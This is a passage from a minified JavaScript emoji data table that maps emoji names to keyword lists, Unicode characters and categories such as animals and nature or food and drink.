c5c",fitzpatrick_scale:!1,category:"people"},briefcase:{keywords:["business","documents","work","law","legal","job","career"],char:"\ud83d\udcbc",fitzpatrick_scale:!1,category:"people"},eyeglasses:{keywords:["fashion","accessories","eyesight","nerdy","dork","geek"],char:"\ud83d\udc53",fitzpatrick_scale:!1,category:"people"},dark_sunglasses:{keywords:["face","cool","accessories"],char:"\ud83d\udd76",fitzpatrick_scale:!1,category:"people"},goggles:{keywords:["eyes","protection","safety"],char:"\ud83e\udd7d",fitzpatrick_scale:!1,category:"people"},ring:{keywords:["wedding","propose","marriage","valentines","diamond","fashion","jewelry","gem","engagement"],char:"\ud83d\udc8d",fitzpatrick_scale:!1,category:"people"},closed_umbrella:{keywords:["weather","rain","drizzle"],char:"\ud83c\udf02",fitzpatrick_scale:!1,category:"people"},dog:{keywords:["animal","friend","nature","woof","puppy","pet","faithful"],char:"\ud83d\udc36",fitzpatrick_scale:!1,category:"animals_and_nature"},cat:{keywords:["animal","meow","nature","pet","kitten"],char:"\ud83d\udc31",fitzpatrick_scale:!1,category:"animals_and_nature"},mouse:{keywords:["animal","nature","cheese_wedge","rodent"],char:"\ud83d\udc2d",fitzpatrick_scale:!1,category:"animals_and_nature"},hamster:{keywords:["animal","nature"],char:"\ud83d\udc39",fitzpatrick_scale:!1,category:"animals_and_nature"},rabbit:{keywords:["animal","nature","pet","spring","magic","bunny"],char:"\ud83d\udc30",fitzpatrick_scale:!1,category:"animals_and_nature"},fox_face:{keywords:["animal","nature","face"],char:"\ud83e\udd8a",fitzpatrick_scale:!1,category:"animals_and_nature"},bear:{keywords:["animal","nature","wild"],char:"\ud83d\udc3b",fitzpatrick_scale:!1,category:"animals_and_nature"},panda_face:{keywords:["animal","nature","panda"],char:"\ud83d\udc3c",fitzpatrick_scale:!1,category:"animals_and_nature"},koala:{keywords:["animal","nature"],char:"\ud83d\udc28",fitzpatrick_scale:!1,category:"animals_and_nature"},tiger:{keywords:["animal","cat","danger","wild","nature","roar"],char:"\ud83d\udc2f",fitzpatrick_scale:!1,category:"animals_and_nature"},lion:{keywords:["animal","nature"],char:"\ud83e\udd81",fitzpatrick_scale:!1,category:"animals_and_nature"},cow:{keywords:["beef","ox","animal","nature","moo","milk"],char:"\ud83d\udc2e",fitzpatrick_scale:!1,category:"animals_and_nature"},pig:{keywords:["animal","oink","nature"],char:"\ud83d\udc37",fitzpatrick_scale:!1,category:"animals_and_nature"},pig_nose:{keywords:["animal","oink"],char:"\ud83d\udc3d",fitzpatrick_scale:!1,category:"animals_and_nature"},frog:{keywords:["animal","nature","croak","toad"],char:"\ud83d\udc38",fitzpatrick_scale:!1,category:"animals_and_nature"},squid:{keywords:["animal","nature","ocean","sea"],char:"\ud83e\udd91",fitzpatrick_scale:!1,category:"animals_and_nature"},octopus:{keywords:["animal","creature","ocean","sea","nature","beach"],char:"\ud83d\udc19",fitzpatrick_scale:!1,category:"animals_and_nature"},shrimp:{keywords:["animal","ocean","nature","seafood"],char:"\ud83e\udd90",fitzpatrick_scale:!1,category:"animals_and_nature"},monkey_face:{keywords:["animal","nature","circus"],char:"\ud83d\udc35",fitzpatrick_scale:!1,category:"animals_and_nature"},gorilla:{keywords:["animal","nature","circus"],char:"\ud83e\udd8d",fitzpatrick_scale:!1,category:"animals_and_nature"},see_no_evil:{keywords:["monkey","animal","nature","haha"],char:"\ud83d\ude48",fitzpatrick_scale:!1,category:"animals_and_nature"},hear_no_evil:{keywords:["animal","monkey","nature"],char:"\ud83d\ude49",fitzpatrick_scale:!1,category:"animals_and_nature"},speak_no_evil:{keywords:["monkey","animal","nature","omg"],char:"\ud83d\ude4a",fitzpatrick_scale:!1,category:"animals_and_nature"},monkey:{keywords:["animal","nature","banana","circus"],char:"\ud83d\udc12",fitzpatrick_scale:!1,category:"animals_and_nature"},chicken:{keywords:["animal","cluck","nature","bird"],char:"\ud83d\udc14",fitzpatrick_scale:!1,category:"animals_and_nature"},penguin:{keywords:["animal","nature"],char:"\ud83d\udc27",fitzpatrick_scale:!1,category:"animals_and_nature"},bird:{keywords:["animal","nature","fly","tweet","spring"],char:"\ud83d\udc26",fitzpatrick_scale:!1,category:"animals_and_nature"},baby_chick:{keywords:["animal","chicken","bird"],char:"\ud83d\udc24",fitzpatrick_scale:!1,category:"animals_and_nature"},hatching_chick:{keywords:["animal","chicken","egg","born","baby","bird"],char:"\ud83d\udc23",fitzpatrick_scale:!1,category:"animals_and_nature"},hatched_chick:{keywords:["animal","chicken","baby","bird"],char:"\ud83d\udc25",fitzpatrick_scale:!1,category:"animals_and_nature"},duck:{keywords:["animal","nature","bird","mallard"],char:"\ud83e\udd86",fitzpatrick_scale:!1,category:"animals_and_nature"},eagle:{keywords:["animal","nature","bird"],char:"\ud83e\udd85",fitzpatrick_scale:!1,category:"animals_and_nature"},owl:{keywords:["animal","nature","bird","hoot"],char:"\ud83e\udd89",fitzpatrick_scale:!1,category:"animals_and_nature"},bat:{keywords:["animal","nature","blind","vampire"],char:"\ud83e\udd87",fitzpatrick_scale:!1,category:"animals_and_nature"},wolf:{keywords:["animal","nature","wild"],char:"\ud83d\udc3a",fitzpatrick_scale:!1,category:"animals_and_nature"},boar:{keywords:["animal","nature"],char:"\ud83d\udc17",fitzpatrick_scale:!1,category:"animals_and_nature"},horse:{keywords:["animal","brown","nature"],char:"\ud83d\udc34",fitzpatrick_scale:!1,category:"animals_and_nature"},unicorn:{keywords:["animal","nature","mystical"],char:"\ud83e\udd84",fitzpatrick_scale:!1,category:"animals_and_nature"},honeybee:{keywords:["animal","insect","nature","bug","spring","honey"],char:"\ud83d\udc1d",fitzpatrick_scale:!1,category:"animals_and_nature"},bug:{keywords:["animal","insect","nature","worm"],char:"\ud83d\udc1b",fitzpatrick_scale:!1,category:"animals_and_nature"},butterfly:{keywords:["animal","insect","nature","caterpillar"],char:"\ud83e\udd8b",fitzpatrick_scale:!1,category:"animals_and_nature"},snail:{keywords:["slow","animal","shell"],char:"\ud83d\udc0c",fitzpatrick_scale:!1,category:"animals_and_nature"},beetle:{keywords:["animal","insect","nature","ladybug"],char:"\ud83d\udc1e",fitzpatrick_scale:!1,category:"animals_and_nature"},ant:{keywords:["animal","insect","nature","bug"],char:"\ud83d\udc1c",fitzpatrick_scale:!1,category:"animals_and_nature"},grasshopper:{keywords:["animal","cricket","chirp"],char:"\ud83e\udd97",fitzpatrick_scale:!1,category:"animals_and_nature"},spider:{keywords:["animal","arachnid"],char:"\ud83d\udd77",fitzpatrick_scale:!1,category:"animals_and_nature"},scorpion:{keywords:["animal","arachnid"],char:"\ud83e\udd82",fitzpatrick_scale:!1,category:"animals_and_nature"},crab:{keywords:["animal","crustacean"],char:"\ud83e\udd80",fitzpatrick_scale:!1,category:"animals_and_nature"},snake:{keywords:["animal","evil","nature","hiss","python"],char:"\ud83d\udc0d",fitzpatrick_scale:!1,category:"animals_and_nature"},lizard:{keywords:["animal","nature","reptile"],char:"\ud83e\udd8e",fitzpatrick_scale:!1,category:"animals_and_nature"},"t-rex":{keywords:["animal","nature","dinosaur","tyrannosaurus","extinct"],char:"\ud83e\udd96",fitzpatrick_scale:!1,category:"animals_and_nature"},sauropod:{keywords:["animal","nature","dinosaur","brachiosaurus","brontosaurus","diplodocus","extinct"],char:"\ud83e\udd95",fitzpatrick_scale:!1,category:"animals_and_nature"},turtle:{keywords:["animal","slow","nature","tortoise"],char:"\ud83d\udc22",fitzpatrick_scale:!1,category:"animals_and_nature"},tropical_fish:{keywords:["animal","swim","ocean","beach","nemo"],char:"\ud83d\udc20",fitzpatrick_scale:!1,category:"animals_and_nature"},fish:{keywords:["animal","food","nature"],char:"\ud83d\udc1f",fitzpatrick_scale:!1,category:"animals_and_nature"},blowfish:{keywords:["animal","nature","food","sea","ocean"],char:"\ud83d\udc21",fitzpatrick_scale:!1,category:"animals_and_nature"},dolphin:{keywords:["animal","nature","fish","sea","ocean","flipper","fins","beach"],char:"\ud83d\udc2c",fitzpatrick_scale:!1,category:"animals_and_nature"},shark:{keywords:["animal","nature","fish","sea","ocean","jaws","fins","beach"],char:"\ud83e\udd88",fitzpatrick_scale:!1,category:"animals_and_nature"},whale:{keywords:["animal","nature","sea","ocean"],char:"\ud83d\udc33",fitzpatrick_scale:!1,category:"animals_and_nature"},whale2:{keywords:["animal","nature","sea","ocean"],char:"\ud83d\udc0b",fitzpatrick_scale:!1,category:"animals_and_nature"},crocodile:{keywords:["animal","nature","reptile","lizard","alligator"],char:"\ud83d\udc0a",fitzpatrick_scale:!1,category:"animals_and_nature"},leopard:{keywords:["animal","nature"],char:"\ud83d\udc06",fitzpatrick_scale:!1,category:"animals_and_nature"},zebra:{keywords:["animal","nature","stripes","safari"],char:"\ud83e\udd93",fitzpatrick_scale:!1,category:"animals_and_nature"},tiger2:{keywords:["animal","nature","roar"],char:"\ud83d\udc05",fitzpatrick_scale:!1,category:"animals_and_nature"},water_buffalo:{keywords:["animal","nature","ox","cow"],char:"\ud83d\udc03",fitzpatrick_scale:!1,category:"animals_and_nature"},ox:{keywords:["animal","cow","beef"],char:"\ud83d\udc02",fitzpatrick_scale:!1,category:"animals_and_nature"},cow2:{keywords:["beef","ox","animal","nature","moo","milk"],char:"\ud83d\udc04",fitzpatrick_scale:!1,category:"animals_and_nature"},deer:{keywords:["animal","nature","horns","venison"],char:"\ud83e\udd8c",fitzpatrick_scale:!1,category:"animals_and_nature"},dromedary_camel:{keywords:["animal","hot","desert","hump"],char:"\ud83d\udc2a",fitzpatrick_scale:!1,category:"animals_and_nature"},camel:{keywords:["animal","nature","hot","desert","hump"],char:"\ud83d\udc2b",fitzpatrick_scale:!1,category:"animals_and_nature"},giraffe:{keywords:["animal","nature","spots","safari"],char:"\ud83e\udd92",fitzpatrick_scale:!1,category:"animals_and_nature"},elephant:{keywords:["animal","nature","nose","th","circus"],char:"\ud83d\udc18",fitzpatrick_scale:!1,category:"animals_and_nature"},rhinoceros:{keywords:["animal","nature","horn"],char:"\ud83e\udd8f",fitzpatrick_scale:!1,category:"animals_and_nature"},goat:{keywords:["animal","nature"],char:"\ud83d\udc10",fitzpatrick_scale:!1,category:"animals_and_nature"},ram:{keywords:["animal","sheep","nature"],char:"\ud83d\udc0f",fitzpatrick_scale:!1,category:"animals_and_nature"},sheep:{keywords:["animal","nature","wool","shipit"],char:"\ud83d\udc11",fitzpatrick_scale:!1,category:"animals_and_nature"},racehorse:{keywords:["animal","gamble","luck"],char:"\ud83d\udc0e",fitzpatrick_scale:!1,category:"animals_and_nature"},pig2:{keywords:["animal","nature"],char:"\ud83d\udc16",fitzpatrick_scale:!1,category:"animals_and_nature"},rat:{keywords:["animal","mouse","rodent"],char:"\ud83d\udc00",fitzpatrick_scale:!1,category:"animals_and_nature"},mouse2:{keywords:["animal","nature","rodent"],char:"\ud83d\udc01",fitzpatrick_scale:!1,category:"animals_and_nature"},rooster:{keywords:["animal","nature","chicken"],char:"\ud83d\udc13",fitzpatrick_scale:!1,category:"animals_and_nature"},turkey:{keywords:["animal","bird"],char:"\ud83e\udd83",fitzpatrick_scale:!1,category:"animals_and_nature"},dove:{keywords:["animal","bird"],char:"\ud83d\udd4a",fitzpatrick_scale:!1,category:"animals_and_nature"},dog2:{keywords:["animal","nature","friend","doge","pet","faithful"],char:"\ud83d\udc15",fitzpatrick_scale:!1,category:"animals_and_nature"},poodle:{keywords:["dog","animal","101","nature","pet"],char:"\ud83d\udc29",fitzpatrick_scale:!1,category:"animals_and_nature"},cat2:{keywords:["animal","meow","pet","cats"],char:"\ud83d\udc08",fitzpatrick_scale:!1,category:"animals_and_nature"},rabbit2:{keywords:["animal","nature","pet","magic","spring"],char:"\ud83d\udc07",fitzpatrick_scale:!1,category:"animals_and_nature"},chipmunk:{keywords:["animal","nature","rodent","squirrel"],char:"\ud83d\udc3f",fitzpatrick_scale:!1,category:"animals_and_nature"},hedgehog:{keywords:["animal","nature","spiny"],char:"\ud83e\udd94",fitzpatrick_scale:!1,category:"animals_and_nature"},raccoon:{keywords:["animal","nature"],char:"\ud83e\udd9d",fitzpatrick_scale:!1,category:"animals_and_nature"},llama:{keywords:["animal","nature","alpaca"],char:"\ud83e\udd99",fitzpatrick_scale:!1,category:"animals_and_nature"},hippopotamus:{keywords:["animal","nature"],char:"\ud83e\udd9b",fitzpatrick_scale:!1,category:"animals_and_nature"},kangaroo:{keywords:["animal","nature","australia","joey","hop","marsupial"],char:"\ud83e\udd98",fitzpatrick_scale:!1,category:"animals_and_nature"},badger:{keywords:["animal","nature","honey"],char:"\ud83e\udda1",fitzpatrick_scale:!1,category:"animals_and_nature"},swan:{keywords:["animal","nature","bird"],char:"\ud83e\udda2",fitzpatrick_scale:!1,category:"animals_and_nature"},peacock:{keywords:["animal","nature","peahen","bird"],char:"\ud83e\udd9a",fitzpatrick_scale:!1,category:"animals_and_nature"},parrot:{keywords:["animal","nature","bird","pirate","talk"],char:"\ud83e\udd9c",fitzpatrick_scale:!1,category:"animals_and_nature"},lobster:{keywords:["animal","nature","bisque","claws","seafood"],char:"\ud83e\udd9e",fitzpatrick_scale:!1,category:"animals_and_nature"},mosquito:{keywords:["animal","nature","insect","malaria"],char:"\ud83e\udd9f",fitzpatrick_scale:!1,category:"animals_and_nature"},paw_prints:{keywords:["animal","tracking","footprints","dog","cat","pet","feet"],char:"\ud83d\udc3e",fitzpatrick_scale:!1,category:"animals_and_nature"},dragon:{keywords:["animal","myth","nature","chinese","green"],char:"\ud83d\udc09",fitzpatrick_scale:!1,category:"animals_and_nature"},dragon_face:{keywords:["animal","myth","nature","chinese","green"],char:"\ud83d\udc32",fitzpatrick_scale:!1,category:"animals_and_nature"},cactus:{keywords:["vegetable","plant","nature"],char:"\ud83c\udf35",fitzpatrick_scale:!1,category:"animals_and_nature"},christmas_tree:{keywords:["festival","vacation","december","xmas","celebration"],char:"\ud83c\udf84",fitzpatrick_scale:!1,category:"animals_and_nature"},evergreen_tree:{keywords:["plant","nature"],char:"\ud83c\udf32",fitzpatrick_scale:!1,category:"animals_and_nature"},deciduous_tree:{keywords:["plant","nature"],char:"\ud83c\udf33",fitzpatrick_scale:!1,category:"animals_and_nature"},palm_tree:{keywords:["plant","vegetable","nature","summer","beach","mojito","tropical"],char:"\ud83c\udf34",fitzpatrick_scale:!1,category:"animals_and_nature"},seedling:{keywords:["plant","nature","grass","lawn","spring"],char:"\ud83c\udf31",fitzpatrick_scale:!1,category:"animals_and_nature"},herb:{keywords:["vegetable","plant","medicine","weed","grass","lawn"],char:"\ud83c\udf3f",fitzpatrick_scale:!1,category:"animals_and_nature"},shamrock:{keywords:["vegetable","plant","nature","irish","clover"],char:"\u2618",fitzpatrick_scale:!1,category:"animals_and_nature"},four_leaf_clover:{keywords:["vegetable","plant","nature","lucky","irish"],char:"\ud83c\udf40",fitzpatrick_scale:!1,category:"animals_and_nature"},bamboo:{keywords:["plant","nature","vegetable","panda","pine_decoration"],char:"\ud83c\udf8d",fitzpatrick_scale:!1,category:"animals_and_nature"},tanabata_tree:{keywords:["plant","nature","branch","summer"],char:"\ud83c\udf8b",fitzpatrick_scale:!1,category:"animals_and_nature"},leaves:{keywords:["nature","plant","tree","vegetable","grass","lawn","spring"],char:"\ud83c\udf43",fitzpatrick_scale:!1,category:"animals_and_nature"},fallen_leaf:{keywords:["nature","plant","vegetable","leaves"],char:"\ud83c\udf42",fitzpatrick_scale:!1,category:"animals_and_nature"},maple_leaf:{keywords:["nature","plant","vegetable","ca","fall"],char:"\ud83c\udf41",fitzpatrick_scale:!1,category:"animals_and_nature"},ear_of_rice:{keywords:["nature","plant"],char:"\ud83c\udf3e",fitzpatrick_scale:!1,category:"animals_and_nature"},hibiscus:{keywords:["plant","vegetable","flowers","beach"],char:"\ud83c\udf3a",fitzpatrick_scale:!1,category:"animals_and_nature"},sunflower:{keywords:["nature","plant","fall"],char:"\ud83c\udf3b",fitzpatrick_scale:!1,category:"animals_and_nature"},rose:{keywords:["flowers","valentines","love","spring"],char:"\ud83c\udf39",fitzpatrick_scale:!1,category:"animals_and_nature"},wilted_flower:{keywords:["plant","nature","flower"],char:"\ud83e\udd40",fitzpatrick_scale:!1,category:"animals_and_nature"},tulip:{keywords:["flowers","plant","nature","summer","spring"],char:"\ud83c\udf37",fitzpatrick_scale:!1,category:"animals_and_nature"},blossom:{keywords:["nature","flowers","yellow"],char:"\ud83c\udf3c",fitzpatrick_scale:!1,category:"animals_and_nature"},cherry_blossom:{keywords:["nature","plant","spring","flower"],char:"\ud83c\udf38",fitzpatrick_scale:!1,category:"animals_and_nature"},bouquet:{keywords:["flowers","nature","spring"],char:"\ud83d\udc90",fitzpatrick_scale:!1,category:"animals_and_nature"},mushroom:{keywords:["plant","vegetable"],char:"\ud83c\udf44",fitzpatrick_scale:!1,category:"animals_and_nature"},chestnut:{keywords:["food","squirrel"],char:"\ud83c\udf30",fitzpatrick_scale:!1,category:"animals_and_nature"},jack_o_lantern:{keywords:["halloween","light","pumpkin","creepy","fall"],char:"\ud83c\udf83",fitzpatrick_scale:!1,category:"animals_and_nature"},shell:{keywords:["nature","sea","beach"],char:"\ud83d\udc1a",fitzpatrick_scale:!1,category:"animals_and_nature"},spider_web:{keywords:["animal","insect","arachnid","silk"],char:"\ud83d\udd78",fitzpatrick_scale:!1,category:"animals_and_nature"},earth_americas:{keywords:["globe","world","USA","international"],char:"\ud83c\udf0e",fitzpatrick_scale:!1,category:"animals_and_nature"},earth_africa:{keywords:["globe","world","international"],char:"\ud83c\udf0d",fitzpatrick_scale:!1,category:"animals_and_nature"},earth_asia:{keywords:["globe","world","east","international"],char:"\ud83c\udf0f",fitzpatrick_scale:!1,category:"animals_and_nature"},full_moon:{keywords:["nature","yellow","twilight","planet","space","night","evening","sleep"],char:"\ud83c\udf15",fitzpatrick_scale:!1,category:"animals_and_nature"},waning_gibbous_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep","waxing_gibbous_moon"],char:"\ud83c\udf16",fitzpatrick_scale:!1,category:"animals_and_nature"},last_quarter_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"\ud83c\udf17",fitzpatrick_scale:!1,category:"animals_and_nature"},waning_crescent_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"\ud83c\udf18",fitzpatrick_scale:!1,category:"animals_and_nature"},new_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"\ud83c\udf11",fitzpatrick_scale:!1,category:"animals_and_nature"},waxing_crescent_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"\ud83c\udf12",fitzpatrick_scale:!1,category:"animals_and_nature"},first_quarter_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"\ud83c\udf13",fitzpatrick_scale:!1,category:"animals_and_nature"},waxing_gibbous_moon:{keywords:["nature","night","sky","gray","twilight","planet","space","evening","sleep"],char:"\ud83c\udf14",fitzpatrick_scale:!1,category:"animals_and_nature"},new_moon_with_face:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"\ud83c\udf1a",fitzpatrick_scale:!1,category:"animals_and_nature"},full_moon_with_face:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"\ud83c\udf1d",fitzpatrick_scale:!1,category:"animals_and_nature"},first_quarter_moon_with_face:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"\ud83c\udf1b",fitzpatrick_scale:!1,category:"animals_and_nature"},last_quarter_moon_with_face:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:"\ud83c\udf1c",fitzpatrick_scale:!1,category:"animals_and_nature"},sun_with_face:{keywords:["nature","morning","sky"],char:"\ud83c\udf1e",fitzpatrick_scale:!1,category:"animals_and_nature"},crescent_moon:{keywords:["night","sleep","sky","evening","magic"],char:"\ud83c\udf19",fitzpatrick_scale:!1,category:"animals_and_nature"},star:{keywords:["night","yellow"],char:"\u2b50",fitzpatrick_scale:!1,category:"animals_and_nature"},star2:{keywords:["night","sparkle","awesome","good","magic"],char:"\ud83c\udf1f",fitzpatrick_scale:!1,category:"animals_and_nature"},dizzy:{keywords:["star","sparkle","shoot","magic"],char:"\ud83d\udcab",fitzpatrick_scale:!1,category:"animals_and_nature"},sparkles:{keywords:["stars","shine","shiny","cool","awesome","good","magic"],char:"\u2728",fitzpatrick_scale:!1,category:"animals_and_nature"},comet:{keywords:["space"],char:"\u2604",fitzpatrick_scale:!1,category:"animals_and_nature"},sunny:{keywords:["weather","nature","brightness","summer","beach","spring"],char:"\u2600\ufe0f",fitzpatrick_scale:!1,category:"animals_and_nature"},sun_behind_small_cloud:{keywords:["weather"],char:"\ud83c\udf24",fitzpatrick_scale:!1,category:"animals_and_nature"},partly_sunny:{keywords:["weather","nature","cloudy","morning","fall","spring"],char:"\u26c5",fitzpatrick_scale:!1,category:"animals_and_nature"},sun_behind_large_cloud:{keywords:["weather"],char:"\ud83c\udf25",fitzpatrick_scale:!1,category:"animals_and_nature"},sun_behind_rain_cloud:{keywords:["weather"],char:"\ud83c\udf26",fitzpatrick_scale:!1,category:"animals_and_nature"},cloud:{keywords:["weather","sky"],char:"\u2601\ufe0f",fitzpatrick_scale:!1,category:"animals_and_nature"},cloud_with_rain:{keywords:["weather"],char:"\ud83c\udf27",fitzpatrick_scale:!1,category:"animals_and_nature"},cloud_with_lightning_and_rain:{keywords:["weather","lightning"],char:"\u26c8",fitzpatrick_scale:!1,category:"animals_and_nature"},cloud_with_lightning:{keywords:["weather","thunder"],char:"\ud83c\udf29",fitzpatrick_scale:!1,category:"animals_and_nature"},zap:{keywords:["thunder","weather","lightning bolt","fast"],char:"\u26a1",fitzpatrick_scale:!1,category:"animals_and_nature"},fire:{keywords:["hot","cook","flame"],char:"\ud83d\udd25",fitzpatrick_scale:!1,category:"animals_and_nature"},boom:{keywords:["bomb","explode","explosion","collision","blown"],char:"\ud83d\udca5",fitzpatrick_scale:!1,category:"animals_and_nature"},snowflake:{keywords:["winter","season","cold","weather","christmas","xmas"],char:"\u2744\ufe0f",fitzpatrick_scale:!1,category:"animals_and_nature"},cloud_with_snow:{keywords:["weather"],char:"\ud83c\udf28",fitzpatrick_scale:!1,category:"animals_and_nature"},snowman:{keywords:["winter","season","cold","weather","christmas","xmas","frozen","without_snow"],char:"\u26c4",fitzpatrick_scale:!1,category:"animals_and_nature"},snowman_with_snow:{keywords:["winter","season","cold","weather","christmas","xmas","frozen"],char:"\u2603",fitzpatrick_scale:!1,category:"animals_and_nature"},wind_face:{keywords:["gust","air"],char:"\ud83c\udf2c",fitzpatrick_scale:!1,category:"animals_and_nature"},dash:{keywords:["wind","air","fast","shoo","fart","smoke","puff"],char:"\ud83d\udca8",fitzpatrick_scale:!1,category:"animals_and_nature"},tornado:{keywords:["weather","cyclone","twister"],char:"\ud83c\udf2a",fitzpatrick_scale:!1,category:"animals_and_nature"},fog:{keywords:["weather"],char:"\ud83c\udf2b",fitzpatrick_scale:!1,category:"animals_and_nature"},open_umbrella:{keywords:["weather","spring"],char:"\u2602",fitzpatrick_scale:!1,category:"animals_and_nature"},umbrella:{keywords:["rainy","weather","spring"],char:"\u2614",fitzpatrick_scale:!1,category:"animals_and_nature"},droplet:{keywords:["water","drip","faucet","spring"],char:"\ud83d\udca7",fitzpatrick_scale:!1,category:"animals_and_nature"},sweat_drops:{keywords:["water","drip","oops"],char:"\ud83d\udca6",fitzpatrick_scale:!1,category:"animals_and_nature"},ocean:{keywords:["sea","water","wave","nature","tsunami","disaster"],char:"\ud83c\udf0a",fitzpatrick_scale:!1,category:"animals_and_nature"},green_apple:{keywords:["fruit","nature"],char:"\ud83c\udf4f",fitzpatrick_scale:!1,category:"food_and_drink"},apple:{keywords:["fruit","mac","school"],char:"\ud83c\udf4e",fitzpatrick_scale:!1,category:"food_and_drink"},pear:{keywords:["fruit","nature","food"],char:"\ud83c\udf50",fitzpatrick_scale:!1,category:"food_and_drink"},tangerine:{keywords:["food","fruit","nature","orange"],char:"\ud83c\udf4a",fitzpatrick_scale:!1,category:"food_and_drink"},lemon:{keywords:["fruit","nature"],char:"\ud83c\udf4b",fitzpatrick_scale:!1,category:"food_and_drink"},banana:{keywords:["fruit","food","monkey"],char:"\ud83c\udf4c",fitzpatrick_scale:!1,category:"food_and_drink"},watermelon:{keywords:["fruit","food","picnic","summer"],char:"\ud83c\udf49",fitzpatrick_scale:!1,category:"food_and_drink"},grapes:{keywords:["fruit","food","wine"],char:"\ud83c\udf47",fitzpatrick_scale:!1,category:"food_and_drink"},strawberry:{keywords:["fruit","food","nature"],char:"\ud83c\udf53",fitzpatrick_scale:!1,category:"food_and_drink"},melon:{keywords:["fruit","nature","food"],char:"\ud83c\udf48",fitzpatrick_scale:!1,category:"food_and_drink"},cherries:{keywords:["food","fruit"],char:"\ud83c\udf52",fitzpatrick_scale:!1,category:"food_and_drink"},peach:{keywords:["fruit","nature","food"],char:"\ud83c\udf51",fitzpatrick_scale:!1,category:"food_and_drink"},pineapple:{keywords:["fruit","nature","food"],char:"\ud83c\udf4d",fitzpatrick_scale:!1,category:"food_and_drink"},coconut:{keywords:["fruit","nature","food","palm"],char:"\ud83e\udd65",fitzpatrick_scale:!1,category:"food_and_drink"},kiwi_fruit:{keywords:["fruit","food"],char:"\ud83e\udd5d",fitzpatrick_scale:!1,category:"food_and_drink"},mango:{keywords:["fruit","food","tropical"],char:"\ud83e\udd6d",fitzpatrick_scale:!1,category:"food_and_drink"},avocado:{keywords:["fruit","food"],char:"\ud83e\udd51",fitzpatrick_scale:!1,category:"food_and_drink"},broccoli:{keywords:["fruit","food","vegetable"],char:"\ud83e\udd66",fitzpatrick_scale:!1,category:"food_and_drink"},tomato:{keywords:["fruit","vegetable","nature","food"],char:"\ud83c\udf45",fitzpatrick_scale:!1,category:"food_and_drink"},eggplant:{keywords:["vegetable","nature","food","aubergine"],char:"\ud83c\udf46",fitzpatrick_scale:!1,category:"food_and_drink"},cucumber:{keywords:["fruit","food","pickle"],char:"\ud83e\udd52",fitzpatrick_scale:!1,category:"food_and_drink"},carrot:{keywords:["vegetable","food","orange"],char:"\ud83e\udd55",fitzpatrick_scale:!1,category:"food_and_drink"},hot_pepper:{keywords:["food","spicy","chilli","chili"],char:"\ud83c\udf36",fitzpatrick_scale:!1,category:"food_and_drink"},potato:{keywords:["food","tuber","vegatable","starch"],char:"\ud83e\udd54",fitzpatrick_scale:!1,category:"food_and_drink"},corn:{keywords:["food","vegetable","plant"],char:"\ud83c\udf3d",fitzpatrick_scale:!1,category:"food_and_drink"},leafy_greens:{keywords:["food","vegetable","plant","bok choy","cabbage","kale","lettuce"],char:"\ud83e\udd6c",fitzpatrick_scale:!1,category:"food_and_drink"},sweet_potato:{keywords:["food","nature"],char:"\ud83c\udf60",fitzpatrick_scale:!1,category:"food_and_drink"},peanuts:{keywords:["food","nut"],char:"\ud83e\udd5c",fitzpatrick_scale:!1,category:"food_and_drink"},honey_pot:{keywords:["bees","sweet","kitchen"],char:"\ud83c\udf6f",fitzpatrick_scale:!1,category:"food_and_drink"},croissant:{keywords:["food","bread","french"],char:"\ud83e\udd50",fitzpatrick_scale:!1,category:"food_and_drink"},bread:{keywords:["food","wheat","breakfast","toast"],char:"\ud83c\udf5e",fitzpatrick_scale:!1,category:"food_and_drink"},baguette_bread:{keywords:["food","bread","french"],char:"\ud83e\udd56",fitzpatrick_scale:!1,category:"food_and_drink"},bagel:{keywords:["food","bread","bakery","schmear"],char:"\ud83e\udd6f",fitzpatrick_scale:!1,category:"food_and_drink"},pretzel:{keywords:["food","bread","twisted"],char:"\ud83e\udd68",fitzpatrick_scale:!1,category:"food_and_drink"},cheese:{keywords:["food","chadder"],char:"\ud83e\uddc0",fitzpatrick_scale:!1,category:"food_and_drink"},egg:{keywords:["food","chicken","breakfast"],char:"\ud83e\udd5a",fitzpatrick_scale:!1,category:"food_and_drink"},bacon:{keywords:["food","breakfast","pork","pig","meat"],char:"\ud83e\udd53",fitzpatrick_scale:!1,category:"food_and_drink"},steak:{keywords:["food","cow","meat","cut","chop","lambchop","porkchop"],char:"\ud83e\udd69",fitzpatrick_scale:!1,category:"food_and_drink"},pancakes:{keywords:["food","breakfast","flapjacks","hotcakes"],char:"\ud83e\udd5e",fitzpatrick_scale:!1,category:"food_and_drink"},poultry_leg:{keywords:["food","meat","drumstick","bird","chicken","turkey"],char:"\ud83c\udf57",fitzpatrick_scale:!1,category:"food_and_drink"},meat_on_bone:{keywords:["good","food","drumstick"],char:"\ud83c\udf56",fitzpatrick_scale:!1,category:"food_and_drink"},bone:{keywords:["skeleton"],char:"\ud83e\uddb4",fitzpatrick_scale:!1,category:"food_and_drink"},fried_shrimp:{keywords:["food","animal","appetizer","summer"],char:"\ud83c\udf64",fitzpatrick_scale:!1,category:"food_and_drink"},fried_egg:{keywords:["food","breakfast","kitchen","egg"],char:"\ud83c\udf73",fitzpatrick_scale:!1,category:"food_and_drink"},hamburger:{keywords:["meat","fast food","beef","cheeseburger","mcdonalds","burger king"],char:"\ud83c\udf54",fitzpatrick_scale:!1,category:"food_and_drink"},fries:{keywords:["chips","snack","fast 